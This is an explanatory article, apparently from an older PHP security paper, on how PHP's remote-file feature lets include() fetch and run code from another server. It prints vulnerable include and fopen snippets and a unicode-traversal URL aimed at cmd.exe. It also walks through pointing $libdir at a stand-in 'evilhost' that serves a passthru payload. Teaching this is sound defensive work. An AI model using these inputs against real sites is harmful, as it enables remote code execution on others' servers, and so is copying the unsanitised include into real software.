Vulnerabilities in PHP : Remote Files
I’m going to repeat this frequently during this document but it bears repeating, PHP is an extremely feature rich language. It ships with an amazing amount of functionality out of the box and tries hard to make life as easy as possible for the coder (or web designer as the case so often is). From a security perspective, the more superfluous functionality offered by a language and the less intuitive the possibilities, the more difficult it is to secure applications written in it. An excellent example of this is the Remote Files functionality of PHP. The following piece of PHP code is designed to open a file: <?php if (!($fd = fopen(”$filename”, “r”)) echo(”Could not open file: $filename<BR>n”); ?> The code attempts to open the file specified in the variable $filename for reading and if it fails displays an error. Obviously this could be a simple security issue if the user can set $filename and get the script to expose /etc/passwd for example but one non intuitive this code could end up doing is reading data from another web/ftp site. The remote files functionality means that the majority of PHPs file handling functions can work transparently on remote files via HTTP and FTP. If $filename were to contain (for example) “http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir” PHP will actually make a HTTP request to the server “target”, in this case trying to exploit the unicode flaw. This gets more interesting in the context of four other file functions that support remote file functionality (*** except under Windows ***), include(), require(), include_once() and require_once(). These functions take in a filename and read that file and parse it as PHP code. They’re typically used to support the concept of code libraries, where common bits of PHP code are stored in files and included as needed. Now take the following piece of code: <?php include($libdir . “/languages.php”); ?> Presumably $libdir is a configuration variable that is meant to be set earlier in script execution to the directory where the library files are stored. If the attacker can cause the variable not to be set the script (which is typically not a tremendously difficult task) and instead submit it themselves they can modify the start of the path. This would normally gain them nothing since they still end up only being able to access languages.php in a directory of their choosing (poison null attacks like those possible on Perl don’t work under PHP) but with remote files the attack can submit any code they wish to be executed. For example, if the attacker places a file on a web server called languages.php containing the following: <?php passthru(”/bin/ls /etc”); ?> then sets $libdir to “http://<evilhost>/” upon encountering the include statement PHP will make a HTTP request to evilhost, retrieve the attackers code and execute it, returning a listing of /etc to the attackers web browser. Note that the attacking webserver (evilhost) can’t be running PHP or the code will be run on the attacking machine rather than the target machine (see the “Other” section and its reference to SRADV00006 for an example of code which survives being on a PHP enabled attacking machine). “There are no crimes and no criminals in these days” - Sherlock Holmes
